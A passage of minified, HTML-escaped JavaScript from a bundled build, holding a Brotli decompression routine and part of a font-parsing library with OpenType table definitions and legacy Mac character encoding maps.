&quot;,h,&quot;=&#039;&quot;)];Bx.kTransforms=Q,Bx.kNumTransforms=Q.length;function R(T,M){return T[M]&lt;192?(T[M]&gt;=97&amp;&amp;T[M]&lt;=122&amp;&amp;(T[M]^=32),1):T[M]&lt;224?(T[M+1]^=32,2):(T[M+2]^=5,3)}return Bx.transformDictionaryWord=function(T,M,O,$,P){var L=Q[P].prefix,X=Q[P].suffix,W=Q[P].transform,G=W&lt;A?0:W-(A-1),J=0,q=M,ee;G&gt;$&amp;&amp;(G=$);for(var ne=0;ne&lt;L.length;)T[M++]=L[ne++];for(O+=G,$-=G,W&lt;=u&amp;&amp;($-=W),J=0;J&lt;$;J++)T[M++]=e.dictionary[O+J];if(ee=M-$,W===h)R(T,ee);else if(W===p)for(;$&gt;0;){var V=R(T,ee);ee+=V,$-=V}for(var ue=0;ue&lt;X.length;)T[M++]=X[ue++];return M-q},Bx}var uT;function IH(){if(uT)return Sx;uT=1;var e=eT().BrotliInput,t=eT().BrotliOutput,r=Vge(),n=CH(),i=sT().HuffmanCode,s=sT().BrotliBuildHuffmanTable,o=Yge(),l=Zge(),c=Jge(),d=8,u=16,h=256,p=704,A=26,y=6,v=2,w=8,j=255,E=1080,S=18,_=new Uint8Array([1,2,3,4,0,5,17,6,16,7,8,9,10,11,12,13,14,15]),C=16,Q=new Uint8Array([3,2,1,0,3,3,3,3,3,3,2,2,2,2,2,2]),R=new Int8Array([0,0,0,0,-1,1,-2,2,-3,3,-1,1,-2,2,-3,3]),T=new Uint16Array([256,402,436,468,500,534,566,598,630,662,694,726,758,790,822,854,886,920,952,984,1016,1048,1080]);function M(ve){var Ne;return ve.readBits(1)===0?16:(Ne=ve.readBits(3),Ne&gt;0?17+Ne:(Ne=ve.readBits(3),Ne&gt;0?8+Ne:17))}function O(ve){if(ve.readBits(1)){var Ne=ve.readBits(3);return Ne===0?1:ve.readBits(Ne)+(1&lt;&lt;Ne)}return 0}function $(){this.meta_block_length=0,this.input_end=0,this.is_uncompressed=0,this.is_metadata=!1}function P(ve){var Ne=new $,Ie,be,Re;if(Ne.input_end=ve.readBits(1),Ne.input_end&amp;&amp;ve.readBits(1))return Ne;if(Ie=ve.readBits(2)+4,Ie===7){if(Ne.is_metadata=!0,ve.readBits(1)!==0)throw new Error(&quot;Invalid reserved bit&quot;);if(be=ve.readBits(2),be===0)return Ne;for(Re=0;Re&lt;be;Re++){var Pe=ve.readBits(8);if(Re+1===be&amp;&amp;be&gt;1&amp;&amp;Pe===0)throw new Error(&quot;Invalid size byte&quot;);Ne.meta_block_length|=Pe&lt;&lt;Re*8}}else for(Re=0;Re&lt;Ie;++Re){var Ke=ve.readBits(4);if(Re+1===Ie&amp;&amp;Ie&gt;4&amp;&amp;Ke===0)throw new Error(&quot;Invalid size nibble&quot;);Ne.meta_block_length|=Ke&lt;&lt;Re*4}return++Ne.meta_block_length,!Ne.input_end&amp;&amp;!Ne.is_metadata&amp;&amp;(Ne.is_uncompressed=ve.readBits(1)),Ne}function L(ve,Ne,Ie){var be;return Ie.fillBitWindow(),Ne+=Ie.val_&gt;&gt;&gt;Ie.bit_pos_&amp;j,be=ve[Ne].bits-w,be&gt;0&amp;&amp;(Ie.bit_pos_+=w,Ne+=ve[Ne].value,Ne+=Ie.val_&gt;&gt;&gt;Ie.bit_pos_&amp;(1&lt;&lt;be)-1),Ie.bit_pos_+=ve[Ne].bits,ve[Ne].value}function X(ve,Ne,Ie,be){for(var Re=0,Pe=d,Ke=0,tt=0,pt=32768,dt=[],Oe=0;Oe&lt;32;Oe++)dt.push(new i(0,0));for(s(dt,0,5,ve,S);Re&lt;Ne&amp;&amp;pt&gt;0;){var Pt=0,Kt;if(be.readMoreInput(),be.fillBitWindow(),Pt+=be.val_&gt;&gt;&gt;be.bit_pos_&amp;31,be.bit_pos_+=dt[Pt].bits,Kt=dt[Pt].value&amp;255,Kt&lt;u)Ke=0,Ie[Re++]=Kt,Kt!==0&amp;&amp;(Pe=Kt,pt-=32768&gt;&gt;Kt);else{var gt=Kt-14,Jt,Bt,tr=0;if(Kt===u&amp;&amp;(tr=Pe),tt!==tr&amp;&amp;(Ke=0,tt=tr),Jt=Ke,Ke&gt;0&amp;&amp;(Ke-=2,Ke&lt;&lt;=gt),Ke+=be.readBits(gt)+3,Bt=Ke-Jt,Re+Bt&gt;Ne)throw new Error(&quot;[ReadHuffmanCodeLengths] symbol + repeat_delta &gt; num_symbols&quot;);for(var sr=0;sr&lt;Bt;sr++)Ie[Re+sr]=tt;Re+=Bt,tt!==0&amp;&amp;(pt-=Bt&lt;&lt;15-tt)}}if(pt!==0)throw new Error(&quot;[ReadHuffmanCodeLengths] space = &quot;+pt);for(;Re&lt;Ne;Re++)Ie[Re]=0}function W(ve,Ne,Ie,be){var Re=0,Pe,Ke=new Uint8Array(ve);if(be.readMoreInput(),Pe=be.readBits(2),Pe===1){for(var tt,pt=ve-1,dt=0,Oe=new Int32Array(4),Pt=be.readBits(2)+1;pt;)pt&gt;&gt;=1,++dt;for(tt=0;tt&lt;Pt;++tt)Oe[tt]=be.readBits(dt)%ve,Ke[Oe[tt]]=2;switch(Ke[Oe[0]]=1,Pt){case 1:break;case 3:if(Oe[0]===Oe[1]||Oe[0]===Oe[2]||Oe[1]===Oe[2])throw new Error(&quot;[ReadHuffmanCode] invalid symbols&quot;);break;case 2:if(Oe[0]===Oe[1])throw new Error(&quot;[ReadHuffmanCode] invalid symbols&quot;);Ke[Oe[1]]=1;break;case 4:if(Oe[0]===Oe[1]||Oe[0]===Oe[2]||Oe[0]===Oe[3]||Oe[1]===Oe[2]||Oe[1]===Oe[3]||Oe[2]===Oe[3])throw new Error(&quot;[ReadHuffmanCode] invalid symbols&quot;);be.readBits(1)?(Ke[Oe[2]]=3,Ke[Oe[3]]=3):Ke[Oe[0]]=2;break}}else{var tt,Kt=new Uint8Array(S),gt=32,Jt=0,Bt=[new i(2,0),new i(2,4),new i(2,3),new i(3,2),new i(2,0),new i(2,4),new i(2,3),new i(4,1),new i(2,0),new i(2,4),new i(2,3),new i(3,2),new i(2,0),new i(2,4),new i(2,3),new i(4,5)];for(tt=Pe;tt&lt;S&amp;&amp;gt&gt;0;++tt){var tr=_[tt],sr=0,xt;be.fillBitWindow(),sr+=be.val_&gt;&gt;&gt;be.bit_pos_&amp;15,be.bit_pos_+=Bt[sr].bits,xt=Bt[sr].value,Kt[tr]=xt,xt!==0&amp;&amp;(gt-=32&gt;&gt;xt,++Jt)}if(!(Jt===1||gt===0))throw new Error(&quot;[ReadHuffmanCode] invalid num_codes or space&quot;);X(Kt,ve,Ke,be)}if(Re=s(Ne,Ie,w,Ke,ve),Re===0)throw new Error(&quot;[ReadHuffmanCode] BuildHuffmanTable failed: &quot;);return Re}function G(ve,Ne,Ie){var be,Re;return be=L(ve,Ne,Ie),Re=l.kBlockLengthPrefixCode[be].nbits,l.kBlockLengthPrefixCode[be].offset+Ie.readBits(Re)}function J(ve,Ne,Ie){var be;return ve&lt;C?(Ie+=Q[ve],Ie&amp;=3,be=Ne[Ie]+R[ve]):be=ve-C+1,be}function q(ve,Ne){for(var Ie=ve[Ne],be=Ne;be;--be)ve[be]=ve[be-1];ve[0]=Ie}function ee(ve,Ne){var Ie=new Uint8Array(256),be;for(be=0;be&lt;256;++be)Ie[be]=be;for(be=0;be&lt;Ne;++be){var Re=ve[be];ve[be]=Ie[Re],Re&amp;&amp;q(Ie,Re)}}function ne(ve,Ne){this.alphabet_size=ve,this.num_htrees=Ne,this.codes=new Array(Ne+Ne*T[ve+31&gt;&gt;&gt;5]),this.htrees=new Uint32Array(Ne)}ne.prototype.decode=function(ve){var Ne,Ie,be=0;for(Ne=0;Ne&lt;this.num_htrees;++Ne)this.htrees[Ne]=be,Ie=W(this.alphabet_size,this.codes,be,ve),be+=Ie};function V(ve,Ne){var Ie={num_htrees:null,context_map:null},be,Re=0,Pe,Ke;Ne.readMoreInput();var tt=Ie.num_htrees=O(Ne)+1,pt=Ie.context_map=new Uint8Array(ve);if(tt&lt;=1)return Ie;for(be=Ne.readBits(1),be&amp;&amp;(Re=Ne.readBits(4)+1),Pe=[],Ke=0;Ke&lt;E;Ke++)Pe[Ke]=new i(0,0);for(W(tt+Re,Pe,0,Ne),Ke=0;Ke&lt;ve;){var dt;if(Ne.readMoreInput(),dt=L(Pe,0,Ne),dt===0)pt[Ke]=0,++Ke;else if(dt&lt;=Re)for(var Oe=1+(1&lt;&lt;dt)+Ne.readBits(dt);--Oe;){if(Ke&gt;=ve)throw new Error(&quot;[DecodeContextMap] i &gt;= context_map_size&quot;);pt[Ke]=0,++Ke}else pt[Ke]=dt-Re,++Ke}return Ne.readBits(1)&amp;&amp;ee(pt,ve),Ie}function ue(ve,Ne,Ie,be,Re,Pe,Ke){var tt=Ie*2,pt=Ie,dt=L(Ne,Ie*E,Ke),Oe;dt===0?Oe=Re[tt+(Pe[pt]&amp;1)]:dt===1?Oe=Re[tt+(Pe[pt]-1&amp;1)]+1:Oe=dt-2,Oe&gt;=ve&amp;&amp;(Oe-=ve),be[Ie]=Oe,Re[tt+(Pe[pt]&amp;1)]=Oe,++Pe[pt]}function de(ve,Ne,Ie,be,Re,Pe){var Ke=Re+1,tt=Ie&amp;Re,pt=Pe.pos_&amp;r.IBUF_MASK,dt;if(Ne&lt;8||Pe.bit_pos_+(Ne&lt;&lt;3)&lt;Pe.bit_end_pos_){for(;Ne-- &gt;0;)Pe.readMoreInput(),be[tt++]=Pe.readBits(8),tt===Ke&amp;&amp;(ve.write(be,Ke),tt=0);return}if(Pe.bit_end_pos_&lt;32)throw new Error(&quot;[CopyUncompressedBlockToOutput] br.bit_end_pos_ &lt; 32&quot;);for(;Pe.bit_pos_&lt;32;)be[tt]=Pe.val_&gt;&gt;&gt;Pe.bit_pos_,Pe.bit_pos_+=8,++tt,--Ne;if(dt=Pe.bit_end_pos_-Pe.bit_pos_&gt;&gt;3,pt+dt&gt;r.IBUF_MASK){for(var Oe=r.IBUF_MASK+1-pt,Pt=0;Pt&lt;Oe;Pt++)be[tt+Pt]=Pe.buf_[pt+Pt];dt-=Oe,tt+=Oe,Ne-=Oe,pt=0}for(var Pt=0;Pt&lt;dt;Pt++)be[tt+Pt]=Pe.buf_[pt+Pt];if(tt+=dt,Ne-=dt,tt&gt;=Ke){ve.write(be,Ke),tt-=Ke;for(var Pt=0;Pt&lt;tt;Pt++)be[Pt]=be[Ke+Pt]}for(;tt+Ne&gt;=Ke;){if(dt=Ke-tt,Pe.input_.read(be,tt,dt)&lt;dt)throw new Error(&quot;[CopyUncompressedBlockToOutput] not enough bytes&quot;);ve.write(be,Ke),Ne-=dt,tt=0}if(Pe.input_.read(be,tt,Ne)&lt;Ne)throw new Error(&quot;[CopyUncompressedBlockToOutput] not enough bytes&quot;);Pe.reset()}function xe(ve){var Ne=ve.bit_pos_+7&amp;-8,Ie=ve.readBits(Ne-ve.bit_pos_);return Ie==0}function _e(ve){var Ne=new e(ve),Ie=new r(Ne);M(Ie);var be=P(Ie);return be.meta_block_length}Sx.BrotliDecompressedSize=_e;function Ce(ve,Ne){var Ie=new e(ve);Ne==null&amp;&amp;(Ne=_e(ve));var be=new Uint8Array(Ne),Re=new t(be);return we(Ie,Re),Re.pos&lt;Re.buffer.length&amp;&amp;(Re.buffer=Re.buffer.subarray(0,Re.pos)),Re.buffer}Sx.BrotliDecompressBuffer=Ce;function we(ve,Ne){var Ie,be=0,Re=0,Pe=0,Ke,tt=0,pt,dt,Oe,Pt,Kt=[16,15,11,4],gt=0,Jt=0,Bt=0,tr=[new ne(0,0),new ne(0,0),new ne(0,0)],sr,xt,wt,Lt=128+r.READ_SIZE;wt=new r(ve),Pe=M(wt),Ke=(1&lt;&lt;Pe)-16,pt=1&lt;&lt;Pe,dt=pt-1,Oe=new Uint8Array(pt+Lt+n.maxDictionaryWordLength),Pt=pt,sr=[],xt=[];for(var ir=0;ir&lt;3*E;ir++)sr[ir]=new i(0,0),xt[ir]=new i(0,0);for(;!Re;){var He=0,ce,Le=[1&lt;&lt;28,1&lt;&lt;28,1&lt;&lt;28],rt=[0],ie=[1,1,1],ae=[0,1,0,1,0,1],Ee=[0],re,We,Tt,H,ze=null,Ze=null,he,De=null,qe,dr=0,Xt=null,Te=0,zt=0,qr=null,kr=0,fr=0,Ft=0,Gr,Zr;for(Ie=0;Ie&lt;3;++Ie)tr[Ie].codes=null,tr[Ie].htrees=null;wt.readMoreInput();var xi=P(wt);if(He=xi.meta_block_length,be+He&gt;Ne.buffer.length){var Ji=new Uint8Array(be+He);Ji.set(Ne.buffer),Ne.buffer=Ji}if(Re=xi.input_end,ce=xi.is_uncompressed,xi.is_metadata){for(xe(wt);He&gt;0;--He)wt.readMoreInput(),wt.readBits(8);continue}if(He!==0){if(ce){wt.bit_pos_=wt.bit_pos_+7&amp;-8,de(Ne,He,be,Oe,dt,wt),be+=He;continue}for(Ie=0;Ie&lt;3;++Ie)ie[Ie]=O(wt)+1,ie[Ie]&gt;=2&amp;&amp;(W(ie[Ie]+2,sr,Ie*E,wt),W(A,xt,Ie*E,wt),Le[Ie]=G(xt,Ie*E,wt),Ee[Ie]=1);for(wt.readMoreInput(),re=wt.readBits(2),We=C+(wt.readBits(4)&lt;&lt;re),Tt=(1&lt;&lt;re)-1,H=We+(48&lt;&lt;re),Ze=new Uint8Array(ie[0]),Ie=0;Ie&lt;ie[0];++Ie)wt.readMoreInput(),Ze[Ie]=wt.readBits(2)&lt;&lt;1;var Pn=V(ie[0]&lt;&lt;y,wt);he=Pn.num_htrees,ze=Pn.context_map;var Mi=V(ie[2]&lt;&lt;v,wt);for(qe=Mi.num_htrees,De=Mi.context_map,tr[0]=new ne(h,he),tr[1]=new ne(p,ie[1]),tr[2]=new ne(H,qe),Ie=0;Ie&lt;3;++Ie)tr[Ie].decode(wt);for(Xt=0,qr=0,Gr=Ze[rt[0]],fr=o.lookupOffsets[Gr],Ft=o.lookupOffsets[Gr+1],Zr=tr[1].htrees[0];He&gt;0;){var Sn,si,ia,aa,go,Ui,ni,Ma,Xa,es,Ua;for(wt.readMoreInput(),Le[1]===0&amp;&amp;(ue(ie[1],sr,1,rt,ae,Ee,wt),Le[1]=G(xt,E,wt),Zr=tr[1].htrees[rt[1]]),--Le[1],Sn=L(tr[1].codes,Zr,wt),si=Sn&gt;&gt;6,si&gt;=2?(si-=2,ni=-1):ni=0,ia=l.kInsertRangeLut[si]+(Sn&gt;&gt;3&amp;7),aa=l.kCopyRangeLut[si]+(Sn&amp;7),go=l.kInsertLengthPrefixCode[ia].offset+wt.readBits(l.kInsertLengthPrefixCode[ia].nbits),Ui=l.kCopyLengthPrefixCode[aa].offset+wt.readBits(l.kCopyLengthPrefixCode[aa].nbits),Jt=Oe[be-1&amp;dt],Bt=Oe[be-2&amp;dt],es=0;es&lt;go;++es)wt.readMoreInput(),Le[0]===0&amp;&amp;(ue(ie[0],sr,0,rt,ae,Ee,wt),Le[0]=G(xt,0,wt),dr=rt[0]&lt;&lt;y,Xt=dr,Gr=Ze[rt[0]],fr=o.lookupOffsets[Gr],Ft=o.lookupOffsets[Gr+1]),Xa=o.lookup[fr+Jt]|o.lookup[Ft+Bt],Te=ze[Xt+Xa],--Le[0],Bt=Jt,Jt=L(tr[0].codes,tr[0].htrees[Te],wt),Oe[be&amp;dt]=Jt,(be&amp;dt)===dt&amp;&amp;Ne.write(Oe,pt),++be;if(He-=go,He&lt;=0)break;if(ni&lt;0){var Xa;if(wt.readMoreInput(),Le[2]===0&amp;&amp;(ue(ie[2],sr,2,rt,ae,Ee,wt),Le[2]=G(xt,2*E,wt),zt=rt[2]&lt;&lt;v,qr=zt),--Le[2],Xa=(Ui&gt;4?3:Ui-2)&amp;255,kr=De[qr+Xa],ni=L(tr[2].codes,tr[2].htrees[kr],wt),ni&gt;=We){var pr,Hs,wi;ni-=We,Hs=ni&amp;Tt,ni&gt;&gt;=re,pr=(ni&gt;&gt;1)+1,wi=(2+(ni&amp;1)&lt;&lt;pr)-4,ni=We+(wi+wt.readBits(pr)&lt;&lt;re)+Hs}}if(Ma=J(ni,Kt,gt),Ma&lt;0)throw new Error(&quot;[BrotliDecompress] invalid distance&quot;);if(be&lt;Ke&amp;&amp;tt!==Ke?tt=be:tt=Ke,Ua=be&amp;dt,Ma&gt;tt)if(Ui&gt;=n.minDictionaryWordLength&amp;&amp;Ui&lt;=n.maxDictionaryWordLength){var wi=n.offsetsByLength[Ui],za=Ma-tt-1,$a=n.sizeBitsByLength[Ui],qs=(1&lt;&lt;$a)-1,to=za&amp;qs,Ha=za&gt;&gt;$a;if(wi+=to*Ui,Ha&lt;c.kNumTransforms){var oi=c.transformDictionaryWord(Oe,Ua,wi,Ui,Ha);if(Ua+=oi,be+=oi,He-=oi,Ua&gt;=Pt){Ne.write(Oe,pt);for(var Bs=0;Bs&lt;Ua-Pt;Bs++)Oe[Bs]=Oe[Pt+Bs]}}else throw new Error(&quot;Invalid backward reference. pos: &quot;+be+&quot; distance: &quot;+Ma+&quot; len: &quot;+Ui+&quot; bytes left: &quot;+He)}else throw new Error(&quot;Invalid backward reference. pos: &quot;+be+&quot; distance: &quot;+Ma+&quot; len: &quot;+Ui+&quot; bytes left: &quot;+He);else{if(ni&gt;0&amp;&amp;(Kt[gt&amp;3]=Ma,++gt),Ui&gt;He)throw new Error(&quot;Invalid backward reference. pos: &quot;+be+&quot; distance: &quot;+Ma+&quot; len: &quot;+Ui+&quot; bytes left: &quot;+He);for(es=0;es&lt;Ui;++es)Oe[be&amp;dt]=Oe[be-Ma&amp;dt],(be&amp;dt)===dt&amp;&amp;Ne.write(Oe,pt),++be,--He}Jt=Oe[be-1&amp;dt],Bt=Oe[be-2&amp;dt]}be&amp;=1073741823}}Ne.write(Oe,be&amp;dt)}return Sx.BrotliDecompress=we,n.init(),Sx}var qI,dT;function Xge(){return dT||(dT=1,qI=IH().BrotliDecompressBuffer),qI}var eAe=Xge();const tAe=ma(eAe);function Cy(e,t,r,n){Object.defineProperty(e,t,{get:r,set:n,enumerable:!0,configurable:!0})}function V4(e){return e&amp;&amp;e.__esModule?e.default:e}var Iy={};Cy(Iy,&quot;logErrors&quot;,()=&gt;rAe);Cy(Iy,&quot;registerFormat&quot;,()=&gt;K1);Cy(Iy,&quot;create&quot;,()=&gt;bv);Cy(Iy,&quot;defaultLanguage&quot;,()=&gt;vw);Cy(Iy,&quot;setDefaultLanguage&quot;,()=&gt;nAe);let rAe=!1,CN=[];function K1(e){CN.push(e)}function bv(e,t){for(let r=0;r&lt;CN.length;r++){let n=CN[r];if(n.probe(e)){let i=new n(new ll(e));return t?i.getFont(t):i}}throw new Error(&quot;Unknown font format&quot;)}let vw=&quot;en&quot;;function nAe(e=&quot;en&quot;){vw=e}function hl(e,t,r){if(r.get){let n=r.get;r.get=function(){let i=n.call(this);return Object.defineProperty(this,t,{value:i}),i}}else if(typeof r.value==&quot;function&quot;){let n=r.value;return{get(){let i=new Map;function s(...o){let l=o.length&gt;0?o[0]:&quot;value&quot;;if(i.has(l))return i.get(l);let c=n.apply(this,o);return i.set(l,c),c}return Object.defineProperty(this,t,{value:s}),s}}}}let iAe=new ct({firstCode:Y,entryCount:Y,idDelta:Ht,idRangeOffset:Y}),GI=new ct({startCharCode:et,endCharCode:et,glyphID:et}),aAe=new ct({startUnicodeValue:ym,additionalCount:lr}),sAe=new ct({unicodeValue:ym,glyphID:Y}),oAe=new Ye(aAe,et),lAe=new Ye(sAe,et),cAe=new ct({varSelector:ym,defaultUVS:new Je(et,oAe,{type:&quot;parent&quot;}),nonDefaultUVS:new Je(et,lAe,{type:&quot;parent&quot;})}),uAe=new Un(Y,{0:{length:Y,language:Y,codeMap:new Yi(lr,256)},2:{length:Y,language:Y,subHeaderKeys:new Ye(Y,256),subHeaderCount:e=&gt;Math.max.apply(Math,e.subHeaderKeys),subHeaders:new Yi(iAe,&quot;subHeaderCount&quot;),glyphIndexArray:new Yi(Y,&quot;subHeaderCount&quot;)},4:{length:Y,language:Y,segCountX2:Y,segCount:e=&gt;e.segCountX2&gt;&gt;1,searchRange:Y,entrySelector:Y,rangeShift:Y,endCode:new Yi(Y,&quot;segCount&quot;),reservedPad:new Ia(Y),startCode:new Yi(Y,&quot;segCount&quot;),idDelta:new Yi(Ht,&quot;segCount&quot;),idRangeOffset:new Yi(Y,&quot;segCount&quot;),glyphIndexArray:new Yi(Y,e=&gt;(e.length-e._currentOffset)/2)},6:{length:Y,language:Y,firstCode:Y,entryCount:Y,glyphIndices:new Yi(Y,&quot;entryCount&quot;)},8:{reserved:new Ia(Y),length:et,language:Y,is32:new Yi(lr,8192),nGroups:et,groups:new Yi(GI,&quot;nGroups&quot;)},10:{reserved:new Ia(Y),length:et,language:et,firstCode:et,entryCount:et,glyphIndices:new Yi(Y,&quot;numChars&quot;)},12:{reserved:new Ia(Y),length:et,language:et,nGroups:et,groups:new Yi(GI,&quot;nGroups&quot;)},13:{reserved:new Ia(Y),length:et,language:et,nGroups:et,groups:new Yi(GI,&quot;nGroups&quot;)},14:{length:et,numRecords:et,varSelectors:new Yi(cAe,&quot;numRecords&quot;)}}),dAe=new ct({platformID:Y,encodingID:Y,table:new Je(et,uAe,{type:&quot;parent&quot;,lazy:!0})});var fAe=new ct({version:Y,numSubtables:Y,tables:new Ye(dAe,&quot;numSubtables&quot;)}),hAe=new ct({version:Gp,revision:Gp,checkSumAdjustment:et,magicNumber:et,flags:Y,unitsPerEm:Y,created:new Ye(Gp,2),modified:new Ye(Gp,2),xMin:Ht,yMin:Ht,xMax:Ht,yMax:Ht,macStyle:new H0(Y,[&quot;bold&quot;,&quot;italic&quot;,&quot;underline&quot;,&quot;outline&quot;,&quot;shadow&quot;,&quot;condensed&quot;,&quot;extended&quot;]),lowestRecPPEM:Y,fontDirectionHint:Ht,indexToLocFormat:Ht,glyphDataFormat:Ht}),mAe=new ct({version:Gp,ascent:Ht,descent:Ht,lineGap:Ht,advanceWidthMax:Y,minLeftSideBearing:Ht,minRightSideBearing:Ht,xMaxExtent:Ht,caretSlopeRise:Ht,caretSlopeRun:Ht,caretOffset:Ht,reserved:new Ia(Ht,4),metricDataFormat:Ht,numberOfMetrics:Y});let pAe=new ct({advance:Y,bearing:Ht});var gAe=new ct({metrics:new Yi(pAe,e=&gt;e.parent.hhea.numberOfMetrics),bearings:new Yi(Ht,e=&gt;e.parent.maxp.numGlyphs-e.parent.hhea.numberOfMetrics)}),AAe=new ct({version:Gp,numGlyphs:Y,maxPoints:Y,maxContours:Y,maxComponentPoints:Y,maxComponentContours:Y,maxZones:Y,maxTwilightPoints:Y,maxStorage:Y,maxFunctionDefs:Y,maxInstructionDefs:Y,maxStackElements:Y,maxSizeOfInstructions:Y,maxComponentElements:Y,maxComponentDepth:Y});function jH(e,t,r=0){return e===1&amp;&amp;fT[r]?fT[r]:bAe[e][t]}const xAe=new Set([&quot;x-mac-roman&quot;,&quot;x-mac-cyrillic&quot;,&quot;iso-8859-6&quot;,&quot;iso-8859-8&quot;]),vAe={&quot;x-mac-croatian&quot;:&quot;ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®Š™´¨≠ŽØ∞±≤≥∆µ∂∑∏š∫ªºΩžø¿¡¬√ƒ≈Ć«Č… ÀÃÕŒœĐ—“”‘’÷◊©⁄€‹›Æ»–·‚„‰ÂćÁčÈÍÎÏÌÓÔđÒÚÛÙıˆ˜¯πË˚¸Êæˇ&quot;,&quot;x-mac-gaelic&quot;:&quot;ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ÆØḂ±≤≥ḃĊċḊḋḞḟĠġṀæøṁṖṗɼƒſṠ«»… ÀÃÕŒœ–—“”‘’ṡẛÿŸṪ€‹›Ŷŷṫ·Ỳỳ⁊ÂÊÁËÈÍÎÏÌÓÔ♣ÒÚÛÙıÝýŴŵẄẅẀẁẂẃ&quot;,&quot;x-mac-greek&quot;:&quot;Ä¹²É³ÖÜ΅àâä΄¨çéèêë£™îï•½‰ôö¦€ùûü†ΓΔΘΛΞΠß®©ΣΪ§≠°·Α±≤≥¥ΒΕΖΗΙΚΜΦΫΨΩάΝ¬ΟΡ≈Τ«»… ΥΧΆΈœ–―“”‘’÷ΉΊΌΎέήίόΏύαβψδεφγηιξκλμνοπώρστθωςχυζϊϋΐΰ­&quot;,&quot;x-mac-icelandic&quot;:&quot;ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûüÝ°¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄€ÐðÞþý·‚„‰ÂÊÁËÈÍÎÏÌÓÔÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ&quot;,&quot;x-mac-inuit&quot;:&quot;ᐃᐄᐅᐆᐊᐋᐱᐲᐳᐴᐸᐹᑉᑎᑏᑐᑑᑕᑖᑦᑭᑮᑯᑰᑲᑳᒃᒋᒌᒍᒎᒐᒑ°ᒡᒥᒦ•¶ᒧ®©™ᒨᒪᒫᒻᓂᓃᓄᓅᓇᓈᓐᓯᓰᓱᓲᓴᓵᔅᓕᓖᓗᓘᓚᓛᓪᔨᔩᔪᔫᔭ… ᔮᔾᕕᕖᕗ–—“”‘’ᕘᕙᕚᕝᕆᕇᕈᕉᕋᕌᕐᕿᖀᖁᖂᖃᖄᖅᖏᖐᖑᖒᖓᖔᖕᙱᙲᙳᙴᙵᙶᖖᖠᖡᖢᖣᖤᖥᖦᕼŁł&quot;,&quot;x-mac-ce&quot;:&quot;ÄĀāÉĄÖÜáąČäčĆćéŹźĎíďĒēĖóėôöõúĚěü†°Ę£§•¶ß®©™ę¨≠ģĮįĪ≤≥īĶ∂∑łĻļĽľĹĺŅņŃ¬√ńŇ∆«»… ňŐÕőŌ–—“”‘’÷◊ōŔŕŘ‹›řŖŗŠ‚„šŚśÁŤťÍŽžŪÓÔūŮÚůŰűŲųÝýķŻŁżĢˇ&quot;,&quot;x-mac-romanian&quot;:&quot;ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ĂȘ∞±≤≥¥µ∂∑∏π∫ªºΩăș¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸ⁄€‹›Țț‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔÒÚÛÙıˆ˜¯˘˙˚¸˝˛ˇ&quot;,&quot;x-mac-turkish&quot;:&quot;ÄÅÇÉÑÖÜáàâäãåçéèêëíìîïñóòôöõúùûü†°¢£§•¶ß®©™´¨≠ÆØ∞±≤≥¥µ∂∑∏π∫ªºΩæø¿¡¬√ƒ≈∆«»… ÀÃÕŒœ–—“”‘’÷◊ÿŸĞğİıŞş‡·‚„‰ÂÊÁËÈÍÎÏÌÓÔÒÚÛÙˆ˜¯˘˙˚¸˝˛ˇ&quot;},VI=new Map;function yAe(e){let t=VI.get(e);if(t)return t;let r=vAe[e];if(r){let n=new Map;for(let i=0;i&lt;r.length;i++)n.set(r.charCodeAt(i),128+i);return VI.set(e,n),n}if(xAe.has(e)){let n=new TextDecoder(e),i=new Uint8Array(128);for(let l=0;l&lt;128;l++)i[l]=128+l;let s=new Map,o=n.decode(i);for(let l=0;l&lt;128;l++)s.set(o.charCodeAt(l),128+l);return VI.set(e,s),s}}const bAe=[[&quot;utf-16be&quot;,&quot;utf-16be&quot;,&quot;utf-16be&quot;,&quot;utf-16be&quot;,&quot;utf-16be&quot;,&quot;utf-16be&quot;,&quot;utf-16be&quot;],[&quot;x-mac-roman&quot;,&quot;shift-jis&quot;,&quot;big5&quot;,&quot;euc-kr&quot;,&quot;iso-8859-6&quot;,&quot;iso-8859-8&quot;,&quot;x-mac-greek&quot;,&quot;x-mac-cyrillic&quot;,&quot;x-mac-symbol&quot;,&quot;x-mac-devanagari&quot;,&quot;x-mac-gurmukhi&quot;,&quot;x-mac-gujarati&quot;,&quot;Oriya&quot;,&quot;Bengali&quot;,&quot;Tamil&quot;,&quot;Telugu&quot;,&quot;Kannada&quot;,&quot;Malayalam&quot;,&quot;Sinhalese&quot;,&quot;Burmese&quot;,&quot;Khmer&quot;,&quot;iso-8859-11&quot;,&quot;Laotian&quot;,&quot;Georgian&quot;,&quot;Armenian&quot;,&quot;gbk&quot;,&quot;Tibetan&quot;,&quot;Mongolian&quot;,&quot;Geez&quot;,&quot;x-mac-ce&quot;,&quot;Vietnamese&quot;,&quot;Sindhi&quot;],[&quot;ascii&quot;,null,&quot;iso-8859-1&quot;],[&quot;symbol&quot;,&quot;utf-16be&quot;,&quot;shift-jis&quot;,&quot;gb18030&quot;,&quot;big5&quot;,&quot;euc-kr&quot;,&quot;johab&quot;,null,null,null,&quot;utf-16be&quot;]],fT={15:&quot;x-mac-icelandic&quot;,17:&quot;x-mac-turkish&quot;,18:&quot;x-mac-croatian&quot;,24:&quot;x-mac-ce&quot;,25:&quot;x-mac-ce&quot;,26:&quot;x-mac-ce&quot;,27:&quot;x-mac-ce&quot;,28:&quot;x-mac-ce&quot;,30:&quot;x-mac-icelandic&quot;,37:&quot;x-mac-romanian&quot;,38:&quot;x-mac-ce&quot;,39:&quot;x-mac-ce&quot;,40:&quot;x-mac-ce&quot;,143:&quot;x-mac-inuit&quot;,146:&quot;x-mac-gaelic&quot;},wAe=[[],{0:&quot;en&quot;,30:&quot;fo&quot;,60:&quot;ks&quot;,90:&quot;rw&quot;,1:&quot;fr&quot;,31:&quot;fa&quot;,61:&quot;ku&quot;,91:&quot;rn&quot;,2:&quot;de&quot;,32:&quot;ru&